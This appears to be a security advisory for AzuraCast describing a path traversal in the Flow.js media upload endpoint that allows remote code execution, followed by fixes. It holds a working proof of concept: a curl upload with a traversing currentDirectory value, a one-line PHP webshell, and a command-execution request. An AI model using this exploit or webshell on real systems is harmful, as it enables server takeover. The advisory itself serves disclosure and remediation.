The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.
In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:
// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));
$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
$destPath = $currentDir . '/' . $destPath;
}
While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.
This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:
// MediaProcessor.php:75-117
try {
if (MimeType::isFileProcessable($localPath)) {
// ... process media ...
return $record;
}
// ...
throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
$this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
throw $e;
} finally {
$fs->uploadAndDeleteOriginal($localPath, $path); // ALWAYS executes
}
The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.
For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():
// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
$destPath = $this->getLocalPath($to); // PathPrefixer::prefixPath() — simple concatenation
$this->ensureDirectoryExists(dirname($destPath), ...);
copy($localPath, $destPath); // OS resolves ../
}
getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.
Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.
The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.
Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:
Step 1: Upload a PHP webshell via path traversal
curl -X POST "http://localhost/api/station/1/files/upload" \
-H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
-F "flowTotalChunks=1" \
-F "flowChunkNumber=1" \
-F "flowCurrentChunkSize=44" \
-F "flowTotalSize=44" \
-F "flowIdentifier=abc123" \
-F "flowFilename=shell.php" \
-F "currentDirectory=../../../../../var/azuracast/www/public" \
-F "file_data=@shell.php"
Where shell.php contains:
<?php system($_GET['cmd']); ?>
Expected response: An error JSON (because .php is not a processable media type), but the file has already been written by the finally block.
Step 2: Execute commands via the webshell
curl "http://localhost/shell.php?cmd=id"
Expected output:
uid=1000(azuracast) gid=1000(azuracast) groups=1000(azuracast)
Sanitize currentDirectory in FlowUploadAction.php using the same filterClientPath() method used for filenames:
// FlowUploadAction.php — replace line 79:
$currentDir = Types::string($request->getParam('currentDirectory'));
// With:
$currentDir = UploadedFile::filterClientPath(
Types::string($request->getParam('currentDirectory'))
);
Additionally, harden LocalFilesystem::upload() to normalize paths before use:
// LocalFilesystem.php — add path normalization in upload():
public function upload(string $localPath, string $to): void
{
$normalizer = new WhitespacePathNormalizer();
$to = $normalizer->normalizePath($to); // Throws PathTraversalDetected on ../
$destPath = $this->getLocalPath($to);
$this->ensureDirectoryExists(
dirname($destPath),
$this->visibilityConverter->defaultForDirectories()
);
if (!@copy($localPath, $destPath)) {
throw UnableToCopyFile::fromLocationTo($localPath, $destPath);
}
}
Also sanitize flowIdentifier in Flow.php:67 to prevent secondary traversal in chunk directory creation.
{
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T21:16:51Z",
"cwe_ids": [
"CWE-22"
],
"severity": "HIGH",
"nvd_published_at": null
}